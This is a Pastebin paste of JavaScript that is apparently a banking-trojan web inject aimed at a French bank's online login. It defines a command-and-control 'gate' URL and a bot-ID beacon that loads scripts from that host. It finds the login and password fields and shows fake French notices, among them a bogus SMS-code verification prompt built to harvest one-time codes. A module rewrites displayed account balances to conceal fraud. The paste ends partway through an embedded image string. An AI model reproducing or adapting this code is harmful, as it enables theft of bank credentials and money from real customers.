Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //=================== ADMIN =====================
- var ALINK = "https://securetargeting.com/content/webanalyser/bnp/admin/";
- var GATE = ALINK+"gate/gate.php";
- //=================== INIT PROTOS =====================
- var By = (function(){
- function ByArgs(arguments){
- var found = {
- tag: false,
- error: false,
- element: false
- }
- if(arguments && arguments.length >= 3){
- var elements_array = arguments[1].split("|");
- if(elements_array.length > 0){
- for(var k = 0; k < elements_array.length; k++){
- var elements = arguments[0].getElementsByTagName(elements_array[k]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e].split(":")[1],"igm");
- if(arguments[e].split(":")[0] == "class"){
- if(elements[i].className != null && pattern.test(elements[i].className)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else if(arguments[e].split(":")[0] == "for"){
- if(elements[i].className != null && pattern.test(elements[i].htmlFor)){
- found.tag = true;
- }else{
- found.error = true;
- }
- }else{
- if(elements[i].getAttribute(arguments[e].split(":")[0]) != null && pattern.test(elements[i].getAttribute(arguments[e].split(":")[0]))){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- }else{
- return false;
- }
- }else{
- return false;
- }
- }
- function ByContent(arguments){
- var found = {
- tag: false,
- error: false,
- element: false
- }
- if(arguments && arguments.length > 2){
- var elements = arguments[0].getElementsByTagName(arguments[1]);
- if(elements && elements.length > 0){
- for(var i = 0; i < elements.length; i++){
- for(var e = 2; e < arguments.length; e++){
- var pattern = new RegExp(arguments[e]);
- if(pattern.test(elements[i].innerHTML.toLowerCase())){
- found.tag = true;
- }else{
- found.error = true;
- }
- }
- if(found.tag && !found.error){
- return elements[i];
- }else{
- found.tag = false;
- found.error = false;
- }
- }
- }
- }
- return false;
- }
- return{
- args: function(){
- return ByArgs(arguments);
- },
- content: function(){
- return ByContent(arguments);
- }
- }
- }())
- by = By;
- var Hujax = (function(){
- var callback_func = false;
- function SetCallback(p){
- callback_func = p;
- }
- function Send(url){
- var BOTID = document.getElementById("BMUD");
- if(BOTID){
- BOTID = vw.text(BOTID);
- }else{
- BOTID = "%%ID%%";
- }
- url += "&ip="+BOTID;
- if(document.getElementById("rgk_ajax")){
- document.getElementById("rgk_ajax").parentNode.removeChild(document.getElementById("rgk_ajax"));
- }
- var script = document.createElement("script");
- script.type = "text/javascript";
- script.id = "rgk_ajax";
- if (script.readyState) {
- script.onreadystatechange = function() {
- if (script.readyState == "loaded" || script.readyState == "complete") {
- script.onreadystatechange = null;
- callback_func();
- }
- };
- } else {
- script.onload = function() {
- callback_func();
- };
- }
- url = url.replace(/\(/g,"%28").replace(/\)/g,"%29");
- script.src = url;
- if(document.getElementsByTagName("head").length > 0){
- document.getElementsByTagName("head")[0].appendChild(script);
- }else{
- document.getElementsByTagName("body")[0].appendChild(script);
- }
- }
- return{
- callback: function(param){
- SetCallback(param);
- },
- send: function(param){
- Send(param);
- }
- }
- }());
- hujax = Hujax;
- var Clone = (function(){
- function CheckQ(param){
- if(param == null || param == undefined || param == "null" || param == "undefined" || param == "" || param == " "){
- return false;
- }else{
- return true;
- }
- }
- function COPY(obj,func){
- if(obj.type == "image"){
- var clo = document.createElement("img");
- for (x in obj.attributes){
- if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
- if(obj.attributes[x].name == "onclick" ||
- obj.attributes[x].name == "name" ||
- obj.attributes[x].name == "disabled" ||
- obj.attributes[x].name == "id"
- ){
- continue;
- }
- if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
- clo.setAttribute(obj.attributes[x].name,"button");
- }else{
- clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
- }
- }
- }
- }else{
- var clo = document.createElement(obj.tagName);
- for (x in obj.attributes){
- if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
- if(obj.attributes[x].name == "onclick" ||
- obj.attributes[x].name == "name" ||
- obj.attributes[x].name == "disabled" ||
- obj.attributes[x].name == "href" ||
- obj.attributes[x].name == "id"
- ){
- continue;
- }
- if(obj.attributes[x].name == "type" && obj.attributes[x].value == "submit"){
- clo.setAttribute(obj.attributes[x].name,"button");
- }else{
- clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
- }
- }
- }
- }
- if(obj.tagName == "A" || obj.tagName == "BUTTON" || obj.tagName == "LI"){
- clo.innerHTML = obj.innerHTML;
- }
- clo.style.cursor = "pointer";
- obj.style.display = "none";
- AddListenner(clo,"click",func);
- obj.parentNode.insertBefore(clo,obj);
- }
- function AddListenner(obj,evType,func){
- if(obj.addEventListener ){
- obj.addEventListener(evType,func,false);
- return true;
- }else if(obj.attachEvent){
- var r = obj.attachEvent('on'+evType,func);
- return r;
- }else{
- elm['on'+evType] = func;
- }
- }
- function JUSTCOPYINPUT(obj,content){
- var clo = document.createElement(obj.tagName);
- for (x in obj.attributes){
- if(CheckQ(obj.attributes[x]) && CheckQ(obj.attributes[x].name) && CheckQ(obj.attributes[x].value)){
- if(obj.attributes[x].name == "onclick" ||
- obj.attributes[x].name == "name" ||
- obj.attributes[x].name == "href" ||
- obj.attributes[x].name == "id" ||
- obj.attributes[x].name == "value"
- ){
- continue;
- }
- clo.setAttribute(obj.attributes[x].name,obj.attributes[x].value);
- }
- }
- clo.value = content;
- obj.style.display = "none";
- obj.parentNode.insertBefore(clo,obj);
- }
- return{
- click: function(obj,func){
- COPY(obj,func);
- },
- copy: function(obj,content){
- JUSTCOPYINPUT(obj,content);
- }
- }
- }())
- clone = Clone;
- var VW = (function(){
- var fTarget = false;
- var fDeftime = 4;
- var fTime = fDeftime;
- var fCallback = function(){return false;};
- function getViewportHeight() {
- var ua = navigator.userAgent.toLowerCase();
- var isOpera = (ua.indexOf('opera') > -1);
- var isIE = (!isOpera && ua.indexOf('msie') > -1);
- return ((document.compatMode || isIE) && !isOpera) ? (document.compatMode == 'CSS1Compat') ? document.documentElement.clientHeight : document.body.clientHeight : (document.parentWindow || document.defaultView).innerHeight;
- }
- return{
- hidedoc: function(doc){
- var none_div = doc.getElementById("none_div");
- if(none_div){
- none_div.style.display = "";
- }else{
- doc.documentElement.style.display = "none";
- }
- },
- showdoc: function(doc){
- var none_div = doc.getElementById("none_div");
- if(none_div){
- none_div.style.display = "none";
- }else{
- doc.documentElement.style.display = "";
- }
- },
- browser: function(){
- if(navigator.userAgent.toLowerCase().indexOf("msie 6") >= 0){
- return "IE6";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 7") >= 0){
- return "IE7";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 8") >= 0){
- return "IE8";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 9") >= 0){
- return "IE9";
- }else if(navigator.userAgent.toLowerCase().indexOf("msie 10") >= 0){
- return "IE10";
- }else if(navigator.userAgent.toLowerCase().indexOf("firefox") >= 0){
- return "FF";
- }else{
- return "OTHER";
- }
- },
- bind: function(obj, evType, func){
- if(obj.removeEventListener){
- obj.removeEventListener(evType,func,false);
- }else if(obj.detachEvent){
- obj.detachEvent ('on'+evType,func);
- }
- if(obj.addEventListener ){
- obj.addEventListener(evType,func,false);
- return true;
- }else if(obj.attachEvent){
- var r = obj.attachEvent('on'+evType,func);
- return r;
- }else{
- elm['on'+evType] = func;
- }
- },
- mouse: function(eve,element){
- if(document.createEvent){
- var event = document.createEvent('MouseEvents');
- event.initMouseEvent(eve,true,true,document.defaultView,1,0,0, 0, 0, false, false, false, false,0,null);
- element.dispatchEvent(event);
- }else if(element.fireEvent){
- if(eve == "click"){
- element.click();
- }else{
- var event = document.createEventObject();
- element.fireEvent('on'+eve, event);
- }
- }
- },
- text: function(param){
- if(param){
- var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
- return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
- }else{
- return "";
- }
- },
- from: function(parent,child){
- return parent && child ? parent.getElementsByTagName(child) : false;
- },
- digits: function(digits){
- var RES = {
- NUMBERS:"",
- OTHER: ""
- }
- var res = '';
- if(digits && digits.length > 0){
- digits = digits.replace(/\u2212/g, "-");
- var ValidChars = "0123456789";
- for(var i = 0;i < digits.length; i++){
- var Char = digits.charAt(i);
- if(ValidChars.indexOf(Char) >=0){
- res += Char;
- }else{
- RES.OTHER += Char;
- }
- }
- }
- RES.NUMBERS = parseFloat(res);
- return RES;
- },
- blockenter: function(el){
- if(el){
- el.onkeypress = function(evt){
- var evt = (evt) ? evt : ((event) ? event : null);
- var node = (evt.target) ? evt.target : ((evt.srcElement) ? evt.srcElement : null);
- if ((evt.keyCode == 13) && (node.type=="text" || node.type=="password")){
- return false;
- }
- }
- }
- },
- selected: function(select){
- if(select){
- var RES = {
- VALUE: "",
- TEXT: ""
- }
- RES.VALUE = select[select.selectedIndex].value;
- RES.TEXT = select[select.selectedIndex].text;
- return RES;
- }else{
- return false;
- }
- },
- docheight: function(){
- return Math.max(document.compatMode != 'CSS1Compat' ? document.body.scrollHeight : document.documentElement.scrollHeight, getViewportHeight());
- },
- docwidth: function(num){
- if(num){
- return (window.screen.availWidth / num);
- }else{
- return window.screen.availWidth;
- }
- },
- finder: function(obj,callback,time){
- fTarget = obj;
- fCallback = callback;
- if(time)fTime = time;
- setTimeout(vw._finder,500);
- },
- _finder: function(){
- if(fTarget()){
- fCallback();
- fTime = fDeftime;
- }else{
- if(fTime > 0){
- fTime--;
- setTimeout(vw._finder,1000);
- }else{
- fTime = fDeftime;
- }
- }
- },
- framedoc: function(frame){
- var RES = {
- DOC: false,
- WIN: false
- }
- if(vw.browser() == "FF" && frame){
- RES.DOC = frame.contentDocument;
- RES.WIN = frame.contentWindow;
- }else if((/IE/igm.test(vw.browser())) && frame && frame.readyState == "complete"){
- RES.DOC = frame.contentWindow.document;
- RES.WIN = frame.contentWindow;
- }
- return RES;
- },
- splitiban: function(iban){
- iban = iban+"";
- var res = iban.substr(0,2)+" ";
- var tmp = iban.substr(2,iban.length);
- var count = 0;
- for(var i = 0; i < tmp.length; i++){
- if(count < 4){
- res += tmp[i];
- count++;
- }else{
- res += " "+tmp[i];
- count = 1;
- }
- }
- return res;
- },
- getstyle: function(oElm, strCssRule){
- var strValue = "";
- if(document.defaultView && document.defaultView.getComputedStyle){
- strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
- }
- else if(oElm.currentStyle){
- strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
- return p1.toUpperCase();
- });
- strValue = oElm.currentStyle[strCssRule];
- }
- return strValue;
- }
- }
- }())
- vw = VW;
- var Replacer = (function(){
- var start_position = new Array();
- var drop_data = new Array();
- var prefix = {
- minus: "-",
- plus: ""
- }
- var splitter = {
- value: "none",
- position: "none"
- }
- var summGet;
- var summSet;
- var masks = new Array();
- function Content(param){
- if(param){
- var tmp = (param.textContent ? param.textContent : param.innerText) ? (param.textContent ? param.textContent : param.innerText) : param.innerHTML;
- return tmp.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$)/ig,"");
- }else{
- return "";
- }
- }
- function _setArgs(args){
- for(var i = 0; i < args.length; i++){
- start_position.push(args[i]);
- }
- }
- function _getArgs(){
- for(var i = 0; i < start_position.length; i++){
- if(start_position[i]){
- return true;
- }
- }
- return false;
- }
- function _saveData(args){
- for(var i = 0; i < args.length; i++){
- for(key in args[i]){
- drop_data[key] = args[i][key];
- }
- }
- }
- function _getData(name){
- return drop_data[name];
- }
- function _setCurrencyFunctions(f1,f2){
- summGet = f1;
- summSet = f2;
- }
- function _checkBy(el,data){
- var pattern = new RegExp(drop_data[data],"igm");
- if(pattern.test(el)){
- return true;
- }else{
- return false;
- }
- }
- function _textIndex(el,data){
- for(var i = 0; i < el.length; i++){
- if(_checkBy(el[i].text,data)){
- return i;
- }
- }
- return -1;
- }
- function _valueIndex(el,data){
- for(var i = 0; i < el.length; i++){
- if(_checkBy(el[i].value,data)){
- return i;
- }
- }
- return -1;
- }
- function _replaceTag(element,summa){
- var tagSelect = /select|option/igm.test(element.tagName);
- var tagInput = /input|textarea/igm.test(element.tagName);
- if(tagSelect){
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (element.text.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = summGet(element.text.split(splitter.value)[splitter.position]);
- }else{
- var minus = (element.text.indexOf(prefix.minus) != -1) ? true : false;
- var balance = summGet(element.text);
- }
- }else if(tagInput){
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (element.value.split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = summGet(element.value.split(splitter.value)[splitter.position]);
- }else{
- var minus = (element.value.indexOf(prefix.minus) != -1) ? true : false;
- var balance = summGet(element.value);
- }
- }else{
- if(splitter.value != "none" && splitter.position != "none"){
- var minus = (Content(element).split(splitter.value)[splitter.position].indexOf(prefix.minus) != -1) ? true : false;
- var balance = summGet(Content(element).split(splitter.value)[splitter.position]);
- }else{
- var minus = (Content(element).indexOf(prefix.minus) != -1) ? true : false;
- var balance = summGet(Content(element));
- }
- }
- var new_balance = balance+parseFloat(summa);
- if(minus)balance = balance * -1;
- balance = summSet(balance);
- new_balance = summSet(new_balance);
- if(tagSelect){
- var f = element.text.replace(balance+"",new_balance+"");
- }else if(tagInput){
- var f = element.value.replace(balance+"",new_balance+"");
- }else{
- var f = element.innerHTML.replace(balance+"",new_balance+"");
- }
- if(parseFloat(new_balance) >= 0){
- f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.plus );
- f = f.replace("-"+new_balance+"",new_balance+"");
- }else{
- f = f.replace((f.indexOf(prefix.minus) != -1 ) ? prefix.minus : prefix.plus , prefix.minus );
- f = f.replace(/\-/,"");
- }
- if(tagSelect){
- element.text = f;
- }else if(tagInput){
- element.value = f;
- }else{
- element.innerHTML = f;
- if(parseFloat(new_balance) >= 0){
- element.innerHTML = element.innerHTML.replace(/solltexttable/igm,"");
- }
- }
- if(splitter.value != "none" && splitter.position != "none"){
- splitter.value = "none";
- splitter.position = "none";
- }
- }
- function _setSplitter(value,position){
- splitter.value = value;
- splitter.position = position;
- }
- function _drawTable(table,class1,class2){
- var index = 0;
- var trs = table.getElementsByTagName("tr");
- if(trs && trs.length > 0){
- for(var i = 0; i < trs.length; i++){
- if(trs[i].className == "ev" || trs[i].className == "od"){
- if(index % 2 == 0){
- trs[i].className = class1;
- }else{
- trs[i].className = class2;
- }
- index++;
- }
- }
- }
- }
- function _convertDate(date){
- var splitter = false;
- if(/\./igm.test(date)){
- splitter = ".";
- }else{
- splitter = "/";
- }
- var els = date.split(splitter);
- if(els && els.length == 3){
- var returnValue = 0;
- returnValue += parseFloat(els[2]) * 365;
- returnValue += parseFloat(els[1]) * 30;
- returnValue += parseFloat(els[0]);
- return returnValue;
- }else if(els && els.length == 2){
- var returnValue = 0;
- returnValue += parseFloat(els[2]) * 365;
- returnValue += parseFloat(els[1]) * 30;
- return returnValue;
- }else{
- return -1;
- }
- }
- return{
- init: function(){
- _setArgs(arguments);
- },
- canstart: function(){
- return _getArgs();
- },
- save: function(){
- _saveData(arguments);
- },
- check: function(el,data){
- return _checkBy(el,data);
- },
- textIndex: function(el,data){
- return _textIndex(el,data);
- },
- valueIndex: function(el,data){
- return _valueIndex(el,data);
- },
- get: function(name){
- return _getData(name);
- },
- currency: function(f1,f2){
- _setCurrencyFunctions(f1,f2);
- },
- replace: function (el,amount){
- _replaceTag(el,amount);
- },
- splitter: function (value,position){
- _setSplitter(value,position);
- },
- drawtable: function (table,class1,class2){
- _drawTable(table,class1,class2);
- },
- date: function(str){
- return _convertDate(str);
- },
- tomask: function(param){
- masks.push(param);
- },
- bymask: function(text){
- for(var i = 0; i < masks.length; i++){
- var pattern = new RegExp(masks[i],"igm");
- if(pattern.test(text)){
- return true;
- }
- }
- return false;
- }
- }
- }())
- replacer = Replacer;
- var Currency = (function(){
- var type_c = false;
- function ConvertibleIn(digits){
- var res = '';
- if(digits && digits.length > 0){
- digits = digits.replace(/\u2212/g, "-");
- var ValidChars = "-.0123456789";
- for(var i = 0;i < digits.length; i++){
- var Char = digits.charAt(i);
- if(ValidChars.indexOf(Char) >=0){
- res += Char;
- }
- }
- }
- return parseFloat(res);
- }
- function ConvertibleOut(digits,r){
- if(r == 1){
- digits = digits.toString().replace(/\$|\,/g,'');
- if(isNaN(digits))digits = "0";
- sign = (digits == (digits = Math.abs(digits)));
- digits = Math.floor(digits*100+0.50000000001);
- cents = digits%100;
- digits = Math.floor(digits/100).toString();
- if(cents<10)cents = "0" + cents;
- for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
- digits = digits.substring(0,digits.length-(4*i+3))+','+
- digits.substring(digits.length-(4*i+3));
- return (((sign)?'':'-') + digits + '.' + cents);
- }else if(r == 2){
- digits = digits.toString().replace(/\$|\,/g,'');
- if(isNaN(digits))digits = "0";
- sign = (digits == (digits = Math.abs(digits)));
- digits = Math.floor(digits*100+0.50000000001);
- cents = digits%100;
- digits = Math.floor(digits/100).toString();
- if(cents<10)cents = "0" + cents;
- for (var i = 0; i < Math.floor((digits.length-(1+i))/3); i++)
- digits = digits.substring(0,digits.length-(4*i+3))+'.'+
- digits.substring(digits.length-(4*i+3));
- return (((sign)?'':'-') + digits + ',' + cents);
- }else{
- return digits;
- }
- }
- function getCurrency(digits){
- if(digits){
- if(/[0-9]/igm.test(digits)){
- if(/\.[0-9]{2}$|\.[0-9]{2}\s{1,}/igm.test(digits)){
- type_c = 1;
- return ConvertibleIn(digits.replace(/\,/g, ''));
- }else{
- type_c = 2;
- return ConvertibleIn(digits.replace(/\./g, '').replace(/,/g, '.'));
- }
- }else{
- return digits;
- }
- }else{
- return digits;
- }
- }
- function setCurrency(digits){
- if(type_c == 1 || type_c == 2){
- return ConvertibleOut(digits,type_c);
- }else{
- return digits;
- }
- }
- return{
- get: function(param){
- return getCurrency(param);
- },
- set: function(param){
- return setCurrency(param);
- }
- }
- }())
- summ = Currency;
- //=================== INIT VARIABLES =====================
- var UI_login_input = by.args(document,"input","type:text","maxlength:10");
- var UI_password_input = by.args(document,"input","type:password","maxlength:6");
- var UI_login_button_img = by.args(document,"img","src:acount_acces");
- if(UI_login_button_img)var UI_login_button = UI_login_button_img.parentNode;
- var replacerArray = new Array();
- var kl = "";
- var FKTEXT = {
- WAITING: "Attendez, s'il vous plaît...",
- BLOCKTITLE: "Le service est temporairement inaccessible",
- BLOCKMAIN: "Nous présentons nos excuses. Le service est temporairement inaccessible suite aux travaux techniques sur les serveurs de la banque. Nous faisons tout possible pour améliorer la qualité du service de nos clients et assurer votre sécurité sur le niveau supérieur. Nos spécialistes vont restaurer le travail et l'accès aux comptes dans les plus brefs délais. Merci de votre patience et compréhension.",
- BLOCTRYNEXTTIME: "Essayez entrer plus tard...",
- SMSTITLE: "Vérification supplémentaire",
- SMSQUERY: "Nous avons introduit, pour l'accès plus sûr à vos comptes, un nouveau système de l'identification pour SMS code. Pour continuer inscrivez le code reçu par SMS.",
- SMSLABEL: "Code d'acess"
- }
- var HOLDER = {
- LOGIN: "",
- PASSWORD: "",
- SMS: ""
- }
- var QUERY = {
- COMMAND: "NONE",
- VALUE: false,
- CHANGED: false,
- FINISH: false
- }
- //=================== INIT FAKES FUNCTIONS =====================
- vw.finish = function(){
- if(!QUERY.CHANGED){
- QUERY.FINISH = true;
- }
- }
- vw.fake_step = function(step,status){
- switch(step){
- case("login"):
- vw.lethim();
- break;
- case("relogin"):
- vw.mouse("click",UI_clear_button_1);
- vw.lethim();
- break;
- case("wait"):
- var fkWaitContent = '<div style="left:350px;top: 390px;position: absolute;z-index: 100;color: #333333;font: 0.75em Arial;text-align: center;width:350px;"> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVHja7JjPi9pAFMfz3kRcpdKDgj9QwUXw4qkKxT9A6WUPhd4KXgTxHyoUehP23v9DwUMFzx5W8SIeFFrZZjaVVjbJm5k3ui09ZOAxmZB88p03mZe8B851DagxXAmDEOMiKIRAZA+WypCAR1SDpTqTna4HCyAaxiylFEDVBwyYQAwdo0Y9qZQCUlAl3NUoDasQBiiqoGEYKkxo1KJr2CmgASqVu4b30QR83p+vdzULpXLDc9DJ6vX6q36//7FUKt15nncLBAjDN+lsNBq9bbVan2q1WqLRaNwUCgXHNfhT5w4xGAzetNvtL71eL1mpVM4gZCwU6dt8Pp/sdDqfu91uAKiCAmeLDofDD8Vi8aZarUYWBYlgy5q+D3vfbDaT1M7BC0MeAsBtLpdzVFAwgMjz/quTTqVSjq1SrWIppS8WrKAc/yqb6ZvD+SxbT5/yt8NVyvEpu6HzF1oMjaExNIbG0BgaQ/8FVP62F4NKBVxyoDJkuhvlpUql4mGS4w4bn1pBpQFAnkfEH8fj0Vqpbuqe/xf9sN1uWQtlhP2x1Wr1dT6ff+coVYEi/Xg8vl8ulz/X63UEKogfW+RUdfypP5bL5W+Hw+Gdn4+6mUyGhFqXiyaTyYOfOc/2+31vt9t5iUTCTafTZ6jDKGKRmcl0Ol0tFov7bDb7uNlscrPZ7DUoSh3h9Jw6VhYRBKMwaOojMULYVhwVKU/gTREWaQ5wI5lgJmTAiFpSB+U2agf+ap64EkbuQhsoMOOtd+30yTghLCGqBQtEuZdaqIDy/6Ikb6pSnMZPAgwAIMDKTKDUFxMAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div> <div style="float:left;width:300px;"> <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAuSURBVHjaYmRgYGBkIAKAFDERo5CFFIXMxCpkGTgTRxXiThQzZ878T4xCgAADAOPEAy1aYXEMAAAAAElFTkSuQmCC) repeat-x scroll left bottom transparent;height: 14px;"></div> <div style="background: url(data:image/gif;base64,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